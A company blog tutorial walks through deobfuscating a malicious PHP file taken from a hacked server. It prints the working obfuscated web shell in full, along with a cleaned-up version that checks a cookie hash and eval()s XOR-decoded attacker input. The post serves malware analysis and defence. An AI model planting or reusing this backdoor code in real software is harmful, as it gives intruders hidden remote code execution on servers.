How to decode obfuscated PHP files | Acro Commerce
Francis Bailey

Author

Francis Bailey

, Software Developer

Posted in Software & Development

December 10, 2021

How to decode obfuscated PHP files

If you've ever had a website or server hacked that was serving up PHP files, then you might have come across a file like this:

  <?php $xzsuh='$7-"]A8qcb[rj@y';$bpvdd='!a@nT'^'L';$auzn='%1#';$mgfbv='V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';$tj=',%XQ6Aq(#7';$whhwy='u8?+r%h';$krqf='VQGt:VER&ow2u'^'??.+I31';
  $dghpp='3GA,K#)MT:[Y2V*'^'V53C9|[($U)-[8M`KrE/Z';$gqwmvj='4}'^'PH`T.P';/*$yyb;U`wg6|cj!J3HPokqu^}No&L%g-bP&gjca8+ssus>>$knvwb*/$atj='W+';##+Tbm]RB{WB!A[g2[:Nm]Y#fZbV#S
  $eevd='#8@=:3B0?xi]5dE}'^'{0`)_y5gYw5gil[';
  $qkkgc=0;$krqf($dghpp,$qkkgc);$bcae='OW=0B$.NVY4_L^M';$chbnph=$tj.$atj;$waw=@$_COOKIE;'j[vo';##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
  $davmw^'oxxftkfxsatijuf';'c*Ssr43';
  /*$zbrux;slZ07}50zverOIL|E4xJ_Ip}rMmm|Ze0-e.)8=h%xM$miig>>$fqkwdpl*/$dghpp($qkkgc);$kr='ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';/*cxUyn/5.I7YpRMa7pb*?jRY,YPqGMlKk=ArPkUC;4+6gw3Mk]|3$or7AK{&[Q+5t_2HYf^Dxf;=*+GB8Ea{`Ao?LQJhqVe%i!8{*/
  $atj=$bpvdd.$gqwmvj;/*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/$ibvffk=$chbnph.$auzn^$bcae;'o[ccl6';##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sA
  $popfk^'iajayqwinglyeqzar';##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gk
  /*$elmwb;)_ut3E9zsctAg1o^rc)TtLE@}]mqBN?&;PMjhziovrbh|$vzbgsrapbl*/$qgexh=$waw['zqcvp'];$vzy=$kr.'ftAx'^$mgfbv;',XGCh';if($vzy==$atj($qgexh)/*;WQ-Cy,]7V|4/XGdC664?qU}KA&E$tbid='obkxikcuumadvf';'lgkmtnfd';*/){$oxkj='nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';$mylpm^$qrd;/*m8x}D}X3Q8GUK2E(Jo2w{E"MTIvhxfab|2gWYt`k%O:%4T^8]Q:6../"LcoTxi#%b5}jU;*/$jtduv^$asm;$nbwlb='zWA$I-4NH{]^W*Cy|1&3';'s_c,m0*';'mT9C3';##"V:U]Ul1cde[5}]fBfk:,2WwC9$pid0&2
  $gj='Cw1VaN^)yg*';$buupi=$lbq^'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';$ndix='$2+YS,yhMM?_Q=*=r(!/PeZC8';/*!=s;#W4l4Z8QhFx[i`8A3&Y8RZTakQTRnqinrgl<<J.Jc-r0gTO}!aBK}.Vevf6eDA)FCiK*/$esz='U+"DpMITACDJ=z494%t5#{CN+'.'mxh';':#S/s';##O!Vs=+S8(IZY68g?v(?A|r+i+"C}4!=xgU]-
  $yintv='$k`P/Cz';'vQ4U';/*$gcg;l!dO9Co10oe|/&2v|c25A&h@bwr<<$wemltidyc*//*HY@[8fa@dY$%]S_I%KvS([X$rxmv='vraxfyxbtis';'fllxafyjoanw';*/$tbjq='Rs.N$[B7a%??$OuM#UCP';$cdyot='tCKS+@tq)/)iZ+cg60';'RPNVGq';/*$jy;;kTaM|X2t"Z:#g?6zdahdloywp<<$xjbeihc*/
  $mivbcw=$oxkj.$tbjq;$nuim='dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV='.$nbwlb;
  /*S[v^6b9,+Xa@iW-v.Km[BFr6O8&:P4I5mR+y[?lydddbwjyfvmpb^G4,`P;0QepV2}kE6Jx=+-oSb&}1(B:q2=6G=)*/$koab^'InNV"(]_K?v,GoF';$buoxw='^5^&!K{`,,=0VvK2';$uhd='Kc4(|+zdQ*e=p3@n'.$ximo;/*8|)gQ%SQ]FRtQWL!2[=CM=kx3Q{elMyhokyiqjhcrtro|)j2P3PD?jHceUkwd]YBqG*/$wxojo='Kc4(|+zdQ*e=p3@n'^$olzxu;
  $uyvnw=$qpovk.'yo#0c5l/+2D2@Bp6Ln)9Yu';$iow='.4W}Ny*Rtw"K{){(Z.st*#';$nuim.=':63yj.PVYpmP4rW@$S{J##T3/CRY:1';$iuib=$nuim.'f{IqV6H'^$mivbcw.'URVQNJ%/pKgY=226E?SnQJ,TX${b08';/*dMjVrDl?=}mfo.?:zO3g?D$)-xZ|jNGN9|N0Y0vdscfyxft^"lJtSc#5|H|CqfFrW@0jBGvZ.4]-WUMwL*/
  $xef=$xef.'skluXYBZR??tzo';$tbaj='X|wUS9&&o5;,llpy]8i';
  /*|Gx^fe#b^l|L2v{,WmEh&BY"Y^e)Pqduluhglnxi|`^8Jm1BP#d{0agDa?l^{=n$=p({hEFI*/$dppx=$dppx.'[@!qz7^';$gskq='hmm2ZB8y0qB@{Iu,[aKgYKH7'.',Mq!n_o$8A0.6-/L';'Ml3.;-s]+i';'f{IqV6H';$wwii=$ibvffk($uwks,$iuib);$wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:','mOZT[_]');}$rsx=$zff;'B4-}q$N';$yknx='L+O_$UrRRsHO=sZmn$';$txwtr='hN8#8sM^';/*J}AT7@-8.pU*l0A.4raWZ%%5_zuI[T4j$uqfw='ttemooij';'ovewoetxtmds';*//*HIZNP7x*,]igRpE"?TGkkmJJ5$!Uf&-I:=Y()KUXPh`NU._*/##dit.64iC@C,|v_XQz+.@0Z$2hE%[)UTrD$#8*1
  $oqxj='oU4!qG1';##c|gLsu*",LLDGfM.AD`xV(U
  $lhbv=':?L9"asAc64HuHR:}O';$gvk;'}Y7,afIs-15l}^|6W2{:3X5&';
  'ENlM]C%Hw.#9IB';'4/JTUP';?>
view raw images-unedited.php hosted with ❤ by GitHub

This is a real-life example that Reddit user /u/narcissus921 posted about here. Even an experienced programmer can have difficulty discerning what a program like this does. Hackers often obfuscate their code so you can't decipher how it works.

Today I'm going to walk you through how to break this code down so that you can understand what it does and use that knowledge to decipher similarly obfuscated programs.

The first step in this process is to format the code to make it more readable. You can use an online PHP formatter or use an IDE, such as phpstorm, to autoformat your code for you. Once the code has been formatted, it should look something like this:

  <?php
  $xzsuh = '$7-"]A8qcb[rj@y';
  $bpvdd = '!a@nT' ^ 'L';
   
  $auzn = '%1#'; // used
   
  $mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
   
  $tj = ',%XQ6Aq(#7'; // used
   
   
  $whhwy = 'u8?+r%h';
  $krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
  $dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
  $gqwmvj = '4}' ^ 'PH`T.P';
  /*$yyb;U`wg6|cj!J3HPokqu^}No&L%g-bP&gjca8+ssus>>$knvwb*/
   
  $atj = 'W+'; ##+Tbm]RB{WB!A[g2[:Nm]Y#fZbV#S // used
   
   
  $eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
  $qkkgc = 0;
  $krqf($dghpp, $qkkgc);
  $bcae = 'OW=0B$.NVY4_L^M';
  $chbnph = $tj . $atj;
  $waw = @$_COOKIE;
  'j[vo'; ##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
  $davmw ^ 'oxxftkfxsatijuf';
  'c*Ssr43';
  /*$zbrux;slZ07}50zverOIL|E4xJ_Ip}rMmm|Ze0-e.)8=h%xM$miig>>$fqkwdpl*/
  $dghpp($qkkgc);
  $kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
  /*cxUyn/5.I7YpRMa7pb*?jRY,YPqGMlKk=ArPkUC;4+6gw3Mk]|3$or7AK{&[Q+5t_2HYf^Dxf;=*+GB8Ea{`Ao?LQJhqVe%i!8{*/
  $atj = $bpvdd . $gqwmvj;
  /*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/
  $ibvffk = $chbnph . $auzn ^ $bcae;
  'o[ccl6'; ##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sA
  $popfk ^ 'iajayqwinglyeqzar'; ##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gk
  /*$elmwb;)_ut3E9zsctAg1o^rc)TtLE@}]mqBN?&;PMjhziovrbh|$vzbgsrapbl*/
  $qgexh = $waw['zqcvp'];
  $vzy = $kr . 'ftAx' ^ $mgfbv;
  ',XGCh';
  if ($vzy == $atj($qgexh) /*;WQ-Cy,]7V|4/XGdC664?qU}KA&E$tbid='obkxikcuumadvf';'lgkmtnfd';*/ ) {
  $oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
  $mylpm ^ $qrd;
  /*m8x}D}X3Q8GUK2E(Jo2w{E"MTIvhxfab|2gWYt`k%O:%4T^8]Q:6../"LcoTxi#%b5}jU;*/
  $jtduv ^ $asm;
  $nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
  's_c,m0*';
  'mT9C3'; ##"V:U]Ul1cde[5}]fBfk:,2WwC9$pid0&2
  $gj = 'Cw1VaN^)yg*';
  $buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
  $ndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
  /*!=s;#W4l4Z8QhFx[i`8A3&Y8RZTakQTRnqinrgl<<J.Jc-r0gTO}!aBK}.Vevf6eDA)FCiK*/
  $esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
  ':#S/s'; ##O!Vs=+S8(IZY68g?v(?A|r+i+"C}4!=xgU]-
  $yintv = '$k`P/Cz';
  'vQ4U';
  /*$gcg;l!dO9Co10oe|/&2v|c25A&h@bwr<<$wemltidyc*/
  /*HY@[8fa@dY$%]S_I%KvS([X$rxmv='vraxfyxbtis';'fllxafyjoanw';*/
  $tbjq = 'Rs.N$[B7a%??$OuM#UCP';
  $cdyot = 'tCKS+@tq)/)iZ+cg60';
  'RPNVGq';
  /*$jy;;kTaM|X2t"Z:#g?6zdahdloywp<<$xjbeihc*/
  $mivbcw = $oxkj . $tbjq;
  $nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
  /*S[v^6b9,+Xa@iW-v.Km[BFr6O8&:P4I5mR+y[?lydddbwjyfvmpb^G4,`P;0QepV2}kE6Jx=+-oSb&}1(B:q2=6G=)*/
  $koab ^ 'InNV"(]_K?v,GoF';
  $buoxw = '^5^&!K{`,,=0VvK2';
  $uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
  /*8|)gQ%SQ]FRtQWL!2[=CM=kx3Q{elMyhokyiqjhcrtro|)j2P3PD?jHceUkwd]YBqG*/
  $wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
  $uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
  $iow = '.4W}Ny*Rtw"K{){(Z.st*#';
  $nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
  $iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
  /*dMjVrDl?=}mfo.?:zO3g?D$)-xZ|jNGN9|N0Y0vdscfyxft^"lJtSc#5|H|CqfFrW@0jBGvZ.4]-WUMwL*/
  $xef = $xef . 'skluXYBZR??tzo';
  $tbaj = 'X|wUS9&&o5;,llpy]8i';
  /*|Gx^fe#b^l|L2v{,WmEh&BY"Y^e)Pqduluhglnxi|`^8Jm1BP#d{0agDa?l^{=n$=p({hEFI*/
  $dppx = $dppx . '[@!qz7^';
  $gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
  'Ml3.;-s]+i';
  'f{IqV6H';
  $wwii = $ibvffk($uwks, $iuib);
  $wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
  }
  $rsx = $zff;
  'B4-}q$N';
  $yknx = 'L+O_$UrRRsHO=sZmn$';
  $txwtr = 'hN8#8sM^';
  /*J}AT7@-8.pU*l0A.4raWZ%%5_zuI[T4j$uqfw='ttemooij';'ovewoetxtmds';*/
  /*HIZNP7x*,]igRpE"?TGkkmJJ5$!Uf&-I:=Y()KUXPh`NU._*/ ##dit.64iC@C,|v_XQz+.@0Z$2hE%[)UTrD$#8*1
  $oqxj = 'oU4!qG1'; ##c|gLsu*",LLDGfM.AD`xV(U
  $lhbv = ':?L9"asAc64HuHR:}O';
  $gvk;
  '}Y7,afIs-15l}^|6W2{:3X5&';
  'ENlM]C%Hw.#9IB';
  '4/JTUP';
  ?>

It's still not exactly readable, but it's a step in the right direction.

Some of you may have noticed a lot of code in this file that doesn't do anything. Code where operations are performed, but no values are assigned, strings without assignment and so on. This is another trick hackers use to throw you off: adding random code that doesn't actually do anything.

Our next step is going to be removing that kind of code. It can be a little tricky figuring out whether the code is doing something or not, but an easy guideline to follow is: if there's no assignment ($foo = $bar) or no function call (foo() or $foo()), then we can safely assume the code doesn't affect the program, and it can be removed.  

A perfect example of what I'm talking about is these 3 lines right here:

  <?php
   
  'j[vo'; ##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
  $davmw ^ 'oxxftkfxsatijuf';
  'c*Ssr43';
  /*$zbrux;slZ07}50zverOIL|E4xJ_Ip}rMmm|Ze0-e.)8=h%xM$miig>>$fqkwdpl*/

After the unused code has been removed, your program should now look like so:

  <?php
  $xzsuh = '$7-"]A8qcb[rj@y';
   
   
  $bpvdd = '!a@nT' ^ 'L';
   
   
  $auzn = '%1#';
  $mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
  $tj = ',%XQ6Aq(#7';
  $whhwy = 'u8?+r%h';
  $atj = 'W+';
   
  $krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
  $dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
  $gqwmvj = '4}' ^ 'PH`T.P';
   
   
  $eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
   
   
  $qkkgc = 0;
  $krqf($dghpp, $qkkgc);
  $bcae = 'OW=0B$.NVY4_L^M';
  $chbnph = $tj . $atj;
  $waw = @$_COOKIE;
   
   
  $dghpp($qkkgc);
  $kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
   
  $atj = $bpvdd . $gqwmvj;
   
  $ibvffk = $chbnph . $auzn ^ $bcae;
   
  $qgexh = $waw['zqcvp'];
  $vzy = $kr . 'ftAx' ^ $mgfbv;
   
   
  if ($vzy == $atj($qgexh)) {
  $oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
   
  $nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
   
  $gj = 'Cw1VaN^)yg*';
  $buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
  $ndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
   
  $esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
   
  $yintv = '$k`P/Cz';
   
  $tbjq = 'Rs.N$[B7a%??$OuM#UCP';
  $cdyot = 'tCKS+@tq)/)iZ+cg60';
   
  $mivbcw = $oxkj . $tbjq;
  $nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
   
  $koab ^ 'InNV"(]_K?v,GoF';
  $buoxw = '^5^&!K{`,,=0VvK2';
  $uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
   
  $wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
  $uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
  $iow = '.4W}Ny*Rtw"K{){(Z.st*#';
  $nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
  $iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
   
  $xef = $xef . 'skluXYBZR??tzo';
  $tbaj = 'X|wUS9&&o5;,llpy]8i';
   
  $dppx = $dppx . '[@!qz7^';
  $gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
   
  $wwii = $ibvffk($uwks, $iuib);
  $wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
  }
  $rsx = $zff;
   
  $yknx = 'L+O_$UrRRsHO=sZmn$';
  $txwtr = 'hN8#8sM^';
   
  $oqxj = 'oU4!qG1';
  $lhbv = ':?L9"asAc64HuHR:}O';
  $gvk;
   
  ?>

The next step is a bit more tedious.

We now have to figure out what each of these lines of code does.

You'll notice a lot of variable assignments where two strings are combined using the bitwise  OR “^” operator. These strings are carefully crafted so that when combined using the “^” operator, they form a coherent and meaningful string value.

To see what these operations and functions output, we will evaluate the code line by line using var_dump() within the program. You can use your own PHP environment to evaluate the code or an online PHP evaluator such as viper-7.com.

As you do this, you'll see recognizable string values, function names and so on. Also note that we only want to evaluate lines of code where an operation occurred, such as =, &, ^, etc., or a function call was made.

Here's an example of what I mean by going line by line. In this case, I note what the variable contains by placing its value in a comment above it.

  <?php
   
  // ... further down the file
   
  // ini_set
  $krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
  var_dump($krqf);
   
  // error_reporting
  $dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
  var_dump($dghpp);
   
  // d5
  $gqwmvj = '4}' ^ 'PH`T.P';
  var_dump($gqwmvj);

Here we have our first function call. In PHP, you can store function names in a variable and then call that variable like a regular function:

  <?php
   
  // ... further down the file
   
   
  // We know from the code above that $krqf is equal to ini_set
  // and $dghpp is equal to "error_reporting" and $qkkgc is set
  // to 0 directly above so we know that that this line is:
  //
  // ini_set('error_reporting', 0);
  $krqf($dghpp, $qkkgc);

When you come across the if statement, you can comment on the “if” line and the closing bracket to evalute its variables. After all, is said and done, our program should now look like this:

  <?php
  $xzsuh = '$7-"]A8qcb[rj@y';
   
  // m
  $bpvdd = '!a@nT' ^ 'L';
  var_dump($bpvdd);
   
  $auzn = '%1#';
  $mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
  $tj = ',%XQ6Aq(#7';
  $whhwy = 'u8?+r%h';
   
  // ini_set
  $krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
   
   
  // error_reporting
  $dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
   
   
  // d5
  $gqwmvj = '4}' ^ 'PH`T.P';
   
   
  $atj = 'W+';
   
   
  // X eJwWf\:\
  $eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
   
   
  $qkkgc = 0;
   
  // We know from the code above that $krqf is equal to ini_set
  // and $dghpp is equal to "error_reporting" and $qkkgc is set
  // to 0 directly above so we know that that this line is:
  //
  // ini_set('error_reporting', 0);
  $krqf($dghpp, $qkkgc);
   
  $bcae = 'OW=0B$.NVY4_L^M';
   
  // ,%XQ6Aq(#7W+
  $chbnph = $tj . $atj;
   
   
  $waw = @$_COOKIE;
   
  // Another function call. Again we know that $dghpp is
  // equal to 'error_reporting' and we also know $qkkgc is
  // equal to 0. So this line evalutes to:
  //
  // error_reporting(0);
  $dghpp($qkkgc);
   
   
  $kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
   
  $atj = $bpvdd . $gqwmvj;
   
   
  // "create_function"
  $ibvffk = $chbnph . $auzn ^ $bcae;
   
   
  // We know that $waw was assigned the $_COOKIE super global
  // so this evalutes to:
  //
  // $qgexh = $_COOKIE['zqcvp'];
  $qgexh = $waw['zqcvp'];
   
  // This value looks very similar to a hash value
  // 371b35831254c61f61fc291ad7012044
  $vzy = $kr . 'ftAx' ^ $mgfbv;
   
   
   
  // if ("371b35831254c61f61fc291ad7012044" == md5($_COOKIE['zqcvp']))
  if ($vzy == $atj($qgexh)) {
   
  $oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
   
  $nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
   
  $gj = 'Cw1VaN^)yg*';
   
   
  // 0
  $buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
   
   
  $ndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
   
  $esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
   
  $yintv = '$k`P/Cz';
   
  $tbjq = 'Rs.N$[B7a%??$OuM#UCP';
  $cdyot = 'tCKS+@tq)/)iZ+cg60';
   
  $mivbcw = $oxkj . $tbjq;
  $nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
   
  $buoxw = '^5^&!K{`,,=0VvK2';
  $uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
   
   
  // 0
  $wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
  $uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
  $iow = '.4W}Ny*Rtw"K{){(Z.st*#';
  $nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
   
  // $ojmvvy = (!empty($_FILES["wzkht"])) ? file_get_contents($_FILES["wzkht"]["tmp_name"]) : $_COOKIE["wzkht"];
  // $duy= (!empty($_FILES["dkxmw"])) ? file_get_contents($_FILES["dkxmw"]["tmp_name"]) : $_COOKIE["dkxmw"];
  // $rixgwg = base64_decode($ojmvvy)^base64_decode($duy);
  // @eval($rixgwg); "
  $iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
   
  $xef = $xef . 'skluXYBZR??tzo';
  $tbaj = 'X|wUS9&&o5;,llpy]8i';
   
  $dppx = $dppx . '[@!qz7^';
  $gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
   
   
  // create_function(null, $iuib);
  // returns lambda_1
  // essentially creates an anonymous function
  $wwii = $ibvffk($uwks, $iuib);
   
  // null was passed as the first argument into create_function so
  // $wwii doesn't actually accept any parameters
  // but it helps throw off anyone trying to interpret it
  $wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
  }
  $rsx = $zff;
   
  $yknx = 'L+O_$UrRRsHO=sZmn$';
  $txwtr = 'hN8#8sM^';
   
  $oqxj = 'oU4!qG1';
  $lhbv = ':?L9"asAc64HuHR:}O';
  $gvk;
   
  ?>
view raw images-evaluted.php hosted with ❤ by GitHub

Okay, we've evaluated all the code, and now there's some familiar PHP in the comments. Our second to the last step will be interpreting what the program does based on what we have written in the comments above each variable.

This part is a little less straightforward and requires some creativity. Also, while some variables were assigned values, they may never have been actually used. A second pass will have to be done to remove unused variables.

  <?php
   
   
  // We know from the code above that $krqf is equal to ini_set
  // and $dghpp is equal to "error_reporting" and $qkkgc is set
  // to 0 directly above so we know that that this line is:
  //
  ini_set('error_reporting', 0);
   
   
  // Another function call. Again we know that $dghpp is
  // equal to 'error_reporting' and we also know $qkkgc is
  // equal to 0. So this line evalutes to:
  //
  // error_reporting(0);
   
  error_reporting(0);
   
   
  $create_function = 'create_function';
   
   
  $hash = @$_COOKIE['zqcvp'];
   
  // This value looks very similar to a hash value
  // 371b35831254c61f61fc291ad7012044
  $storedHash = "371b35831254c61f61fc291ad7012044"
   
   
  if ($storedHash == $md5($hash)) {
   
   
  $code = '$ojmvvy = (!empty($_FILES["wzkht"])) ? file_get_contents($_FILES["wzkht"]["tmp_name"]) : $_COOKIE["wzkht"];
  $duy= (!empty($_FILES["dkxmw"])) ? file_get_contents($_FILES["dkxmw"]["tmp_name"]) : $_COOKIE["dkxmw"];
  $rixgwg = base64_decode($ojmvvy)^base64_decode($duy);
  @eval($rixgwg);'
   
   
  $function = $create_function(null, $code);
   
  $function();
  }
   
   
  ?>

When we've finished piecing the code together, we do one final clean-up to really make the code readable. Our final result looks something like below:

  <?php
   
  // Make double sure error reporting is off
  ini_set('error_reporting', 0);
  error_reporting(0);
   
  $storedHash = '371b35831254c61f61fc291ad7012044';
  $authHash = @$_COOKIE['zqcvp'];
   
  // Check if the user has the storedHash value set in their cookie
  if ($storedHash == md5($authHash)) {
   
  // Check if a file was uploaded with the request, if it wasn't use
  // the text contents of the cookie instead
  $file1 = !empty($_FILES['wzkht']) ? file_get_contents($_FILES['wzkht']['tmp_name']) : $_COOKIE['wzkht'];
   
  $file2 = !empty($_FILES["dkxmw"]) ? file_get_contents($_FILES["dkxmw"]["tmp_name"]) : $_COOKIE["dkxmw"];
   
  // Decode the file contents into executable php code
  $executable = base64_decode($file1) ^ base64_decode($file2);
   
  // run the code
  @eval($executable);
  }
view raw images-final.php hosted with ❤ by GitHub

Our program has come a long way from its original obfuscated state. There are now recognizable variable names, functions and so on. But, some of you may still be wondering what exactly this program does, so I'll walk you through that too.

You'll notice in the first 2 lines of code the program turns error reporting off. This is to prevent errors from being logged and warnings potentially being displayed to the user. Proceeding that, the program then reads in a hash value from the user's cookies; if the value matches a hard coded hash value, then the program executes the code in the if block. This primitive authentication is done to ensure only the hacker or someone with knowledge of the stored hash value can run certain parts of the program.

Inside the if block, the program attempts to grab the contents of a file stored locally on the server. If the file doesn't exist locally, it will attempt to use a text value stored in the user's cookies. It repeats the step again for a second file. Then, it decodes and combines the two file's contents into what is presumably some nasty executable PHP code. The final step is to actually run that code using eval().

As you can see, hackers often go to great lengths to mask their intentions and hide their actions. The obfuscation above is just one of the many ways hackers can hide the functionality of their code.

Hopefully, you never see one of these files on your own server. But, if you do, you'll now be able to deobfuscate it and learn its inner workings.


Editor's note: This article was originally published on December 10, 2015. It has been updated for freshness, comprehensiveness and accuracy.